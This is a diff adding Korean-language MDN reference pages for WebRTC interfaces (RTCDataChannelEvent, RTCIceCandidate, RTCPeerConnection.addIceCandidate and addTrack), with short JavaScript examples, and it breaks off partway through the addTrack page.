Syntax

+ +
 var channel = RTCDataChannelEvent.channel;
+ +

+ +

{{domxref("RTCDataChannel")}} 객체는 {{domxref("RTCPeerConnection")}}을 원격 피어와 연결해주는 데이터 채널을 알려줍니다.

+ +

예시

+ +

{{event("datachannel")}} 이벤트 핸들러 안 코드의 첫 줄에서 이벤트 객체의 채널을 가져오고, 이를 데이터 트래픽을 관리하는 코드에 사용 될 수 있도록 지역 변수로 저장합니다.

+ +
pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent-channel', 'RTCDataChannelEvent.channel') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCDataChannelEvent.channel")}}

+ +

See also

+ + diff --git a/files/ko/web/api/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/index.html new file mode 100644 index 0000000000..0c9a390225 --- /dev/null +++ b/files/ko/web/api/rtcdatachannelevent/index.html @@ -0,0 +1,77 @@ +--- +title: RTCDataChannelEvent +slug: Web/API/RTCDataChannelEvent +translation_of: Web/API/RTCDataChannelEvent +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCDataChannelEvent() 생성자는 {{domxref("datachannel")}}을 나타내는 신규 {{domxref("RTCDataChannelEvent")}} 객체를 반환합니다. 이 이벤트는 두 피어 사이에서 원격 피어가 {{domxref("RTCDataChannel")}}을 개통하도록 요청되었을때, {{domxref("RTCPeerConnection")}} 에 전달됩니다. 

+ +

WebRTC가 적절한 시기에 생성하고 전달해주기 때문에, RTCDataChannelEvent를 직접 생성하는 일은 매우 드물 것입니다. RTCPeerConnection에 의해 {{domxref("RTCPeerConnection.datachannel_event", "datachannel")}} 이벤트가 받아지는지를 감청하고, 해당 이벤트를 받으면 {{domxref("RTCDataChannelEvent.channel")}} 속성을 사용해서 개통된 데이터 채널에 대한 권한을 얻는 것이 일반적입니다.

+ +

생성자

+ +
+
{{domxref("RTCDataChannelEvent.RTCDataChannelEvent()", "RTCDataChannelEvent()")}}
+
새로운 RTCDataChannelEvent을 생성하는 RTCDataChannelEvent() 생성자입니다.
+
+ +

속성

+ +

Event의 속성을 상속합니다.

+ +
+
{{domxref("RTCDataChannelEvent.channel")}} {{readOnlyInline}}
+
읽기 속성인 RTCDataChannelEvent.channel는 이벤트와 관련된 RTCDataChannel를 반환합니다. 
+
+ +

메소드

+ +

이 인터페이스에는 메소드가 존재하지 않습니다. 대신, Event의 메소드를 상속합니다.

+ +

예시

+ +

아래의 예제에서는 datachannel 이벤트 핸들러를 설정해서 데이터 채널의 참조된 정보를 저장하고, 모니터링 할 이벤트들에 대한 핸들러를 새로 설정합니다. {{domxref("RTCDataChannelEvent.channel", "channel")}} 속성은 다른 피어와의 연결을 나타내는 {{domxref("RTCDataChannel")}}을 제공합니다.

+ +
pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+
+ +

데이터 채널을 어떤 방식으로 사용하는지에 대한 더 좋은 예제는 A simple RTCDataChannel sample를 확인하십시오.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#idl-def-RTCDataChannelEvent', 'RTCDataChannelEvent') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCDataChannelEvent")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html new file mode 100644 index 0000000000..42fcbbe4dc --- /dev/null +++ b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html @@ -0,0 +1,75 @@ +--- +title: RTCDataChannelEvent() +slug: Web/API/RTCDataChannelEvent/RTCDataChannelEvent +translation_of: Web/API/RTCDataChannelEvent/RTCDataChannelEvent +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCDataChannelEvent() 생성자는 새로운 {{domxref("RTCDataChannelEvent")}}를 생성합니다.

+ +
+

이 이벤트는 알아서 WebRTC 레이어에 생성되고 전달되기 때문에, RTCDataChannelEvent를 수동으로 생성하는 일은 거의 없습니다.

+
+ +

Syntax

+ +
 var event = new RTCDataChannelEvent(type, RtcDataChannelEventInit);
+ +

패러미터

+ +
+
type
+
이벤트의 이름을 알려주는 {{domxref("DOMString")}}입니다. 이름은 RTCDataChannelEvent 타입의 한 종류인 "datachannel" 딱 한 가지만 존재합니다.
+
RtcDataChannelEventInit
+
아래의 필드를 가지는 RTCDataChannelEventInit 딕셔너리 입니다: +
    +
  • "channel"은 {domxref("RTCDataChannel")}}의 한 종류로, 이벤트에 의해 데이터 채널이 확인되었다는 것을 알려줍니다.
  • +
  • "bubbles"은 옵션으로 설정이 가능하며, EventInit에서 상속됩니다. 이는 해당 이벤트가 무조건 bubble이 되어야하는지의 여부를 알려줍니다. 기본 값은 false입니다
  • +
  • "cancelable"은 옵션으로 설정이 가능하며, EventInit에서 상속됩니다. 이는 해당 이벤트가 취소 될 수 있는지의 여부를 알려줍니다. 기본 값은 false입니다.
  • +
+
+
+ +

+ +

명시한대로 설정된 신규 {{domxref("RTCDataChannelEvent")}} 입니다.

+ +

예시

+ +

아래 예제는 신규 {{event("datachannel")}}를 생성합니다. dc는 이미 존재하는 데이터 채널을 뜻합니다.

+ +
var event = new RTCDataChannelEvent("datachannel", {"channel": dc});
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent', 'RTCDataChannelEvent') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCDataChannelEvent.RTCDataChannelEvent")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcicecandidate/candidate/index.html b/files/ko/web/api/rtcicecandidate/candidate/index.html new file mode 100644 index 0000000000..e4d0f253a5 --- /dev/null +++ b/files/ko/web/api/rtcicecandidate/candidate/index.html @@ -0,0 +1,84 @@ +--- +title: RTCIceCandidate.candidate +slug: Web/API/RTCIceCandidate/candidate +translation_of: Web/API/RTCIceCandidate/candidate +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCIceCandidate")}} 인터페이스에 대한 읽기 속성인 candidate는 candidate에 대해 자세히 설명해주는 {{domxref("DOMString")}}를 반환합니다. 

+ +

RTCIceCandidate의 거의 모든 다른 속성들은 사실 이 문자열에서 가져와진 것입니다.

+ +

이 속성은 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}를 사용해서 신규 candidate 객체를 구성 할 때, {{domxref("RTCIceCandidateInit.candidate", "candidate")}} 속성의 값을 지정해서 설정 할 수 있습니다.

+ +

Syntax

+ +
var candidate = RTCIceCandidate.candidate;
+ +

+ +

반환되는 {{domxref("DOMString")}} 값은 {{Glossary("SDP")}}의 속성인 "candidate"에서 직접 가져와진 candidate의 속성에 대해 알려줍니다. candidate 문자열은 해당 candidate에 대한 네트워크 연결 정보를 명시합니다. candidate가 빈 문자열 ("")이라면, 더 이상 남아있는 candidate가 없다는 뜻입니다. 빈 문자열은 "candidate 종료" 표시자로도 알려져있습니다.

+ +

candidate 문자열에 대한 구문은 {{RFC(5245, "", 15.1)}}에 설명되어있습니다. 

+ +
a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host
+ +

위와 같은 a-line (속성 line)에서 해당하는 candidate 문자열의 값은 "candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host"가 됩니다.

+ +

{{Glossary("user agent")}}는 항상 가장 높거나 같은 {{domxref("RTCIceCandidate.priority", "priority")}}를 가진 candidate를 선호합니다. 위의 예시에서, 우선 순위는 2043278322 입니다. 속성은 단일 스페이스로 특정한 순서가 있습니다. 위의 candidate에 대한 전체 속성 리스트는 다음과 같습니다:

+ + + +

예시

+ +

아래 예제에서는 시그널링 과정에서 원격 유저에게서 수신 받은 ICE candidate 정보를 가진 SDP 문자열을 입력으로 받는 함수입니다. 

+ +
function handleNewIceCandidate(candidateSDP) {
+  var candidateObj = new RTCIceCandidate(candidateSDP);
+
+  myPeerConnection.addIceCandidate(candidateObj).catch({
+    /* handle the error thrown by addIceCandidate() */
+  });
+}
+ +

handleNewIceCandidate() 함수는 수신 받은 candidate의 SDP 문자를 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}에 보내고, candidate를 알려주는 {{domxref("RTCIceCanddiate")}} 객체를 반환 받습니다.

+ +

그 후, 신규 candidatesms {{domxref("RTCPeerConnection.addIceCandidate()")}}에 전달되서 candidate의 리스트에 추가해서 WebRTC가 연결 설정으로 사용 하도록 고려합니다. 

+ +

위 예제는 더 간단하게 표현 될 수 있습니다. ECMAScript 2016의 고급 기능들을 사용해서 아래와 같이 나타낼 수 있습니다:

+ +
let handleNewIceCandidate = candidateSDP =>
+  myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP));
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-candidate', 'RTCIceCandidate.candidate')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCIceCandidate.candidate")}}

+
diff --git a/files/ko/web/api/rtcicecandidate/index.html b/files/ko/web/api/rtcicecandidate/index.html new file mode 100644 index 0000000000..fe5e3bc9ce --- /dev/null +++ b/files/ko/web/api/rtcicecandidate/index.html @@ -0,0 +1,90 @@ +--- +title: RTCIceCandidate +slug: Web/API/RTCIceCandidate +translation_of: Web/API/RTCIceCandidate +--- +
{{APIRef("WebRTC")}}
+ +

RTCIceCandidate 인터페이스는 WebRTC API의 한 종류로서, {{domxref("RTCPeerConnection")}}을 구축 할 때 사용되기도하는 Internet Connectivity Establishment ({{Glossary("ICE")}})의 후보군 (candidate)를 말합니다.

+ +

하나의 ICE candidate는 WebRTC가 원격 장치와 통신을 하기 위해 요구되는 프로토콜과 라우팅에 대해 알려줍니다. WebRTC 피어 연결을 처음 시작하게되면, 일반적으로 여러개의 candiate들이 연결의 각 end에 의해 만들어집니다. 그리고 이 과정은 로컬 유저와 원격 유저가 연결을 위해 최고의 방법을 서로의 동의하에 선택하기 전까지 계속 됩니다. 이후에 WebRTC가 선택한 candidate를 사용해서 연결을 시도하게됩니다. 

+ +

ICE 과정이 어떻게 동작하는지 자세히 알고 싶다면, Lifetime of a WebRTC session을 확인해보십시오.이외에도 WebRTC connectivity에서는 유용한 추가 정보를 제공합니다.

+ +

생성자

+ +
+
{{domxref("RTCIceCandidate.RTCIceCandidate()","RTCIceCandidate()")}}
+
단일 ICE candidate를 나타내기 위해 RTCIceCandidate 객체를 생성합니다. 옵션으로 {{domxref("RTCIceCandidateInit")}} 딕셔너리에 존재하는 객체를 이용해 설정이 가능합니다. +
Note: 이전 버전의 호환성을 위해서는, 생성자가 {{domxref("RTCIceCandidate.candidate", "candidate")}} 속성의 값을 가진 문자열을 {{domxref("RTCIceCandidateInit")}} 객체 대신에 입력 인자로 받습니다. 이는 candidateRTCIceCandidateInit보다 더 많은 정보를 가지고 있기 때문입니다.
+
+
+ +

속성

+ +
+
{{domxref("RTCIceCandidate.candidate", "candidate")}} {{readonlyInline}}
+
연결성 확인을 위해 사용 될 수 있는 candidate에 대한 전달 주소를 나타내는 {{domxref("DOMString")}}입니다. 이 주소의 형식은 {{RFC(5245)}}에 정의된바와 같이 candidate-attribute 입니다. RTCIceCandidate가 "마지막 candidate"를 알려주면, 이 문자열은 빈 문자열 ("")이 됩니다.
+
{{domxref("RTCIceCandidate.component", "component")}} {{ReadOnlyInline}}
+
ICE candidate가 RTP (rtp) 인지 RTCP (rtcp)인지 알려주는 {{domxref("DOMString")}}입니다. 이 값들은 candidate 라인 문자열에 있는 "component-id" 필드에서 가져와집니다. 허용되는 값은 {{domxref("RTCIceComponent")}} enum 타입에 정리되어있습니다.
+
{{domxref("RTCIceCandidate.foundation", "foundation")}} {{readonlyInline}}
+
같은  유형의 candidate와 동일한 식별자를 가진 {{domxref("DOMString")}}를 반환합니다. {{domxref("DOMString")}}는 동일한 베이스 (ICE 에이전트가 candidate를 보낸 주소)를 공유하고, 동일한 {{Glossary("STUN")}}서버에서 가져와집니다. 이 속성을 사용해서 {{domxref("RTCIceTransport")}}객체에 나타나는 candidate의 우선 순위를 매기고 연관을 시키면서 ICE 성능을 최적화 할 수 있습니다. 
+
{{domxref("RTCIceCandidate.ip", "ip")}} {{readonlyInline}}
+
candidate의 IP 주소를 가지고 있는 {{domxref("DOMString")}}입니다.
+
{{domxref("RTCIceCandidate.port", "port")}} {{readonlyInline}}
+
candidate의 포트 넘버를 알려주는 정수 값 입니다.
+
{{domxref("RTCIceCandidate.priority", "priority")}} {{readonlyInline}}
+
candidate의 우선순위를 알려주는 long 정수 값 입니다.
+
{{domxref("RTCIceCandidate.protocol", "protocol")}} {{readonlyInline}}
+
candidate의 프로토콜이 "tcp"인지 "udp"인지 알려주는 문자열입니다. 이 문자열은 RTCIceProtocol enum 타입 중 하나 입니다.
+
{{domxref("RTCIceCandidate.relatedAddress", "relatedAddress")}} {{readonlyInline}}
+
candidate가 다른 candidate, 즉 호스트 candidate에서 가져와졌다면, relatedAddress는 호스트 candidate의 IP 주소를 포함하는 {{domxref("DOMString")}}입니다. 호스트 candidate에서 이 값은 null 입니다.
+
{{domxref("RTCIceCandidate.relatedPort", "relatedPort")}} {{readonlyInline}}
+
candidate가 relay 혹은 reflexive candidate로 부터 가져와진 경우, relatedPort는 해당하는 호스트 candidate의 포트 넘버를 가르킵니다. 마찬가지로, 호스트 candidate에서 이 값은 null 입니다.
+
{{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} {{readonlyInline}}
+
candidate의 미디어 스트림 식별 태그를 정의하는 {{domxref("DOMString")}}입니다. 여기서 식별 태그는 candidate와 연관이 있는 컴포넌트안의 미디어 스트림을 유일하게 식별합니다. candidate와 관련이 있는 미디어 스트림이 존재하지 않으면, 이 값은 null 입니다.
+
{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}} {{readonlyInline}}
+
이 값이 null이 아니라면, sdpMLineIndex는 candidate와 연관 된 {{Glossary("SDP")}}의 미디어 설명에 대한, 0을 기준으로 하는 색인 번호를 알려줍니다 (RFC 4566에 정의되어 있습니다.). 
+
{{domxref("RTCIceCandidate.tcpType", "tcpType")}} {{readonlyInline}}
+
protocol"tcp"라면,tcpType은 TCP candidate의 타입을 알려줍니다. 이외에는 tcpTypenull 입니다.
+
{{domxref("RTCIceCandidate.type", "type")}} {{readonlyInline}}
+
{{domxref("RTCIceCandidateType")}} enum 타입에 존재하는 문자열에 속하는 candidate의 타입을 알려주는 {{domxref("DOMString")}}입니다. 
+
{{domxref("RTCIceCandidate.usernameFragment", "usernameFragment")}} {{ReadOnlyInline}}
+
ICE가 무작위로 생성된 비밀번호 ("ice-pwd") 와 함께 메세지의 무결성을 확인하기 위해 사용하는 무작위로 생성된 유저 이름 조각 ("ice-ufrag")을 가지고 있는 {{domxref("DOMString")}}입니다. 이 문자열을 사용해서 ICE 생성의 버전을 확인 할 수 있습니다. ICE가 재시작하더라도, 같은 버전의 ICE 프로세스는 동일한 usernameFragment를 가지게 됩니다.
+
+ +

메소드

+ +
+
{{domxref("RTCIceCandidate.toJSON", "toJSON()")}}
+
toJSON()RTCIceCandidate의 현재 저장된 설정을 담은 {{Glossary("JSON")}} 표현식을 {{domxref("RTCIceCandidateInit")}} 객체의 형태로 변환시킨 {{domxref("DOMString")}}를 반환합니다.
+
+ +

예시

+ +

예시를 보려면, 전체 과정을 설명해주는 Signaling and video calling문서를 확인하십시오.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#rtcicecandidate-interface', 'RTCIceCandidate')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCIceCandidate")}}

+
diff --git a/files/ko/web/api/rtcicecandidate/tojson/index.html b/files/ko/web/api/rtcicecandidate/tojson/index.html new file mode 100644 index 0000000000..5b222fc286 --- /dev/null +++ b/files/ko/web/api/rtcicecandidate/tojson/index.html @@ -0,0 +1,49 @@ +--- +title: RTCIceCandidate. toJSON() +slug: Web/API/RTCIceCandidate/toJSON +translation_of: Web/API/RTCIceCandidate/toJSON +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCIceCandidate")}} 메소드인 toJSON()은 JSON 형식으로 호출된 RTCIceCandidate를 {{domxref("RTCIceCandidateInit")}} 객체 형식으로 변환합니다. .

+ +

Syntax

+ +
json = RTCIceCandidate.toJSON();
+ +

반환 값

+ +

{{domxref("RTCIceCandidateInit")}} 딕셔너리에 상응하는 객체로, RTCIceCandidate 객체의 해당하는 값으로 설정됩니다.

+ +

반환된 객체에 대한 문자열화된 버전의 객체는 {{jsxref("JSON.stringify", "stringify()")}}를 호출해서 가져올 수 있습니다. 아래의 {{anch("Example", "예시")}}를 참조하십시오.

+ +

예시

+ +

아래의 샘플 코드는 candidate 변수의 RTCIceCandidate를 나타내는 JSON 문자열을 가져옵니다.

+ +
var jsonString = candidate.toJSON().stringify();
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-tojson', 'RTCIceCandidate.toJSON()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCIceCandidate.toJSON")}}

+
diff --git a/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html new file mode 100644 index 0000000000..9062abc861 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/addicecandidate/index.html @@ -0,0 +1,148 @@ +--- +title: RTCPeerConnection.addIceCandidate() +slug: Web/API/RTCPeerConnection/addIceCandidate +translation_of: Web/API/RTCPeerConnection/addIceCandidate +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}}을 사용하는 웹이나 앱이 신규 ICE candidate를 signaling 채널을 통해 원격 유저로부터 수신하게되면, RTCPeerConnection.addIceCandidate()를 호출해서 브라우저의 {{Glossary("ICE")}} 에이전트에게 새로 수신한 candidate를 전달합니다. 이 메소드는 RTCPeerConnection의 원격 설명 (remote description)에 연결의 원격쪽 상태를 설명해주는 신규 원격 candidate를 추가합니다. 

+ +

addIceCandidate() 호출시 candidate 매개변수가 존재하지 않거나 값이 null인 경우에, 추가된 ICE candidate는 "candidate 종료"를 알려줍니다. 지정한 객체의{{domxref("RTCIceCandidate.candidate", "candidate")}} 값이 존재하지 않거나, 빈 문자열 ("")인 경우에도 원격 candidate들이 모두 전달되었음을 알려줍니다. 

+ +

"candidate 종료" 알림은 a-line 값의 end-of-candidates를 가진 candidate와 함께 원격 유저에 송신됩니다.

+ +

네고시에이션 중에 앱이 위의 방법처럼 ICE 에이전트에 전달할 다수의 candidate를 수신 받을 수 있고, 이는 가능한 연결 방법들의 리스트를 만들 수 있도록 도와줍니다. 자세한 내용은 WebRTC connectivitySignaling and video calling를 참고하십시오.

+ +

Syntax

+ +
aPromise = pc.addIceCandidate(candidate);
+
+addIceCandidate(candidate, successCallback, failureCallback); {{deprecated_inline}}
+
+ +

매개변수

+ +
+
candidate {{optional_inline}}
+
+

{{domxref("RTCIceCandidateInit")}} 딕셔너리 혹은 {{domxref("RTCIceCandidate")}} 객체에 해당하는 객체입니다. 이 객체의 내용은 signaling 채널을 통해 수신 받은 메세지로 구성되어야합니다. 메세지는 이미 로컬 ICE 에이전트에 전달 될 준비가 된 새로 수신받은 ICE candidate를 설명합니다.

+ +

candidate 객체가 지정되어있지 않거나, null이라면, "candidate 종료" 신호가 end-of-candidates a-line을 사용해서 원격 유저에게 전달됩니다. a-line의 형식은 아래와 같습니다:

+ +
a=end-of-candidates
+
+
+ +

더 이상 사용되지 않는 변수 (Deprecated)

+ +

이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, 사용하지 않는 것을 권장합니다. 이미 사용 중이라면, {{jsxref("Promise")}} 버전인 addIceCandidate()를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 addIceCandidate()의 특정 변수에 대해 아래에서 설명합니다.

+ +
+
successCallback {{deprecated_inline}}
+
ICE candidate가 성공적으로 추가되었을 때에 호출되는 함수입니다. 이 함수는 입력 변수가 없으며, 아무런 값도 반환하지 않도록 되어있습니다. 
+
failureCallback {{deprecated_inline}}
+
ICE candidate 추가 시도가 실패하면 호출되는 함수입니다. 실패에 대한 이유를 설명하는 객체인 {{domxref("DOMException")}}을 입력 변수로 받습니다.
+
+ +

반환 값

+ +

{{jsxref("Promise")}}는 candidate가 ICE 에이전트에 의해 원격 유저의 설명 (description)에 성공적으로 추가되면 fulfilled 됩니다. 프로미스는 입력 변수가 없습니다.

+ +

예외 처리

+ +

ICE candidate 추가 시도 중 에러가 발생하면, 이 메소드에서 반환되는 {{jsxref("Promise")}}는 거절됩니다. 그리고 거절 핸들러로 전달되는 지정된 {{domxref("DOMException")}} 객체안에 존재하는 {{domxref("DOMException.name", "name")}} 속성으로 아래의 에러 중 하나를 반환하게 됩니다.

+ +
+
TypeError
+
명시한 candidate의 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 및{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}가 모두 null 입니다.
+
InvalidStateError
+
현재 RTCPeerConnection은 어떠한 원격 유저와도 연결이 되어있지 않습니다. {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} 값이 null입니다.
+
OperationError
+
이 에러는 여러가지 이유 때문에 발생합니다: +
    +
  • 지정된 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 값이 non-null이고, {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}}안에 존재하는 어떠한 미디어 description의 미디어 ID와도 일치하지 않음
  • +
  • 지정된 {{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}의 값이 원격 설명 (description)에 포함된 미디어의 숫자와 같거나 큼
  • +
  • 지정된 {{domxref("RTCIceCandidate.usernameFragment", "ufrag")}}가 어떠한 원격 설명 (description) 안의 ufrag 필드와 일치하지 않음
  • +
  • {{domxref("RTCIceCandidate", "candidate")}} 문자열에 존재하는 하나 혹은 여러개의 값들이 올바르지 않거나, 파싱 될 수 없음
  • +
  • 어떠한 이유에서던 candidate를 추가하려는 시도가 실패 
  • +
+
+
+ +

예시

+ +

아래의 코드는 임의의 signaling 채널을 통해 어떻게 ICE candidate를 알리는지를 보여줍니다.

+ +
// 본 예제는 다른 유저가 아래와 같은 signaling 채널을 사용한다고 가정합니다:
+//
+// pc.onicecandidate = event => {
+//   if (event.candidate) {
+//     signalingChannel.send(JSON.stringify({ice: event.candidate})); // "ice" is arbitrary
+//   } else {
+//     // All ICE candidates have been sent
+//   }
+// }
+
+signalingChannel.onmessage = receivedString => {
+  const message = JSON.parse(receivedString);
+  if (message.ice) {
+    // A typical value of ice here might look something like this:
+    //
+    // {candidate: "candidate:0 1 UDP 2122154243 192.168.1.9 53421 typ host", sdpMid: "0", ...}
+    //
+    // Pass the whole thing to addIceCandidate:
+
+    pc.addIceCandidate(message.ice).catch(e => {
+      console.log("Failure during addIceCandidate(): " + e.name);
+    });
+  } else {
+    // handle other things you might be signaling, like sdp
+  }
+}
+ +

원격 유저에 의해 이러한 방식으로 신호를 전달한 마지막 candiate는 "candidate 종료"를 나타내는 특수한 candidate가 됩니다. "candidate 종료"를 수동으로 설정하려면 다음과 같이 하면 됩니다:

+ +
pc.addIceCandidate({candidate:''});
+
+ +

하지만, 대부분의 경우 {{domxref("RTCPeerConnection")}}가 적절한 이벤트를 보내서 처리해주기 때문에 이를 수동으로 확인해야 할 필요는 없습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-addIceCandidate-Promise-void--RTCIceCandidateInit-RTCIceCandidate-candidate', 'RTCPeerConnection.addIceCandidate()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
{{SpecName("WebRTC 1.0", "#widl-RTCPeerConnection-addIceCandidate-void-RTCIceCandidateInit-RTCIceCandidate-candidate-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback", "RTCPeerConnection.addIceCandidate()")}} {{deprecated_inline}}{{Spec2("WebRTC 1.0")}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.addIceCandidate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/addtrack/index.html b/files/ko/web/api/rtcpeerconnection/addtrack/index.html new file mode 100644 index 0000000000..50a493a188 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/addtrack/index.html @@ -0,0 +1,208 @@ +--- +title: RTCPeerConnection.addTrack() +slug: Web/API/RTCPeerConnection/addTrack +translation_of: Web/API/RTCPeerConnection/addTrack +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}}의 메소드인 addTrack()은 다른 유저에게 전송될 트랙들의 묶음에 신규 미디어 트랙을 추가합니다.

+ +
+

참조: 연결 인터페이스에 트랙을 추가하게되면, {{event("negotiationneeded")}} 이벤트를 발생시켜 renegotiation을 하게 만듭니다. 자세한 사항은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Starting negotiation")}} 를 참조하십시오.

+
+ +

Syntax

+ +
rtpSender = RTCPeerConnection.addTrack(track, stream...);
+ +

매개변수

+ +
+
track
+
피어 연결에 추가될 미디어 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체입니다.
+
stream... {{optional_inline}}
+
트랙이 추가 되어야하는 하나 혹은 여러개의 로컬 {{domxref("MediaStream")}} 객체입니다.
+
+ +

지정된 track 는 꼭 지정된 streams의 일부가 아니여도 됩니다. streams은 단지 연결을 받는 쪽에서 트랙을 그룹으로 묶고 동기화하는 방법입니다. 연결의 로컬 쪽에 존재하는 동일한 stream에 추가된 트랙들은 원격 쪽에서 같은 stream에 존재하게됩니다. 

+ +

반환 값

+ +

{{domxref("RTCRtpSender")}} 객체는 미디어 데이터를 전송하기위해 사용됩니다. 

+ +
+

참조: 모든 RTCRtpSender는 {{domxref("RTCRtpTransceiver")}}를 구성하기 위해서 {{domxref("RTCRtpReceiver")}}와 함께 짝을 이룹니다.  관련이 있는 리시버는 원격 유저가 리시버에 하나 혹은 여러개의 스트림을 추가하지 않는 이상 mute 상태입니다. mute 상태에서는 패킷을 전달 할 수 없습니다. 

+
+ +

예외처리

+ +
+
InvalidAccessError
+
지정한 트랙 (혹은 모든 스트림)이 이미 {{domxref("RTCPeerConnection")}}의 일부임을 알려줍니다.
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}가 이미 종료되었음을 알려줍니다.
+
+ +

사용법

+ +

여러개의 스트림에 트랙 추가하기

+ +

addTrack() 메소드는 trackstreams을 매개변수로 받습니다. track 매개변수를 정의한 다음에, 하나 혹은 여러개의 {{domxref("MediaStream")}} 객체를 지정해서 트랙을 어디에 추가 할지 지정이 가능합니다. 이때, 스트림이 아니라 트랙만 다른 유저에게 전달됩니다. 스트림은 각 유저별로 특정되어있기 때문에, 하나 혹은 여러개의 스트림을 지정한다는 것은 트랙을 받는 유저가 연결의 다른 쪽에 해당하는 스트림을 자동으로 생성할 것이라는 뜻입니다. 그리고나서 받은 트랙을 자동으로 해당 스트림에 추가하게 됩니다. 

+ +

스트림이 없는 트랙

+ +

스트림을 명시하지 않으면, 해당 트랙은 streamless 상태입니다. 트랙을 어느 스트림에 추가 할지는 원격유저가 결정하지만, 이대로 사용해도 문제는 없습니다.  streamless 트랙은 addTrack()을 가장 손쉽게 사용하는 방법으로, 하나의 스트림만 필요한 아주 간단한 어플케이션을 만드는데 사용됩니다. 예를 들자면,오디오와 비디오 트랙이 존재하는 단일 스트림을 원격 유저와 공유하고 싶은 경우, 어떤 스트림에 무슨 트랙이 있는지 관리 할 필요 없이 트랜시버 (transceiver)가 처리하도록 맡길 수 있습니다. 

+ +

아래 예시는 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}를 사용해서 유저의 카메라와 마이크에서 스트림을 가져오는 함수입니다. 그리고 각각의 트랙에 대한 스트림을 지정하지 않고, 스트림에서 피어 연결로 각 트랙을 추가합니다: 

+ +
// 비동기 함수 정의
+async openCall(pc) {
+  // getUserMedia는 비동기적으로 처리됨
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    // 스트림을 따로 지정하지 않고, 트랙을 추가
+    pc.addTrack(track);
+  }
+}
+ +

위 함수의 결과로 트랙 묶음이 스트림 없이 원격 유저에게 전달됩니다. 모든 트랙들이 동일한 스트림에 추가된다 하더라도, 원격 유저의 {{event("track")}}이벤트 핸들러가 각 트랙을 어느 스트림에 추가 할지를 결정합니다. {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 핸들러는 아래와 같이 작성 될 수 있습니다:

+ +
let inboundStream = null;
+
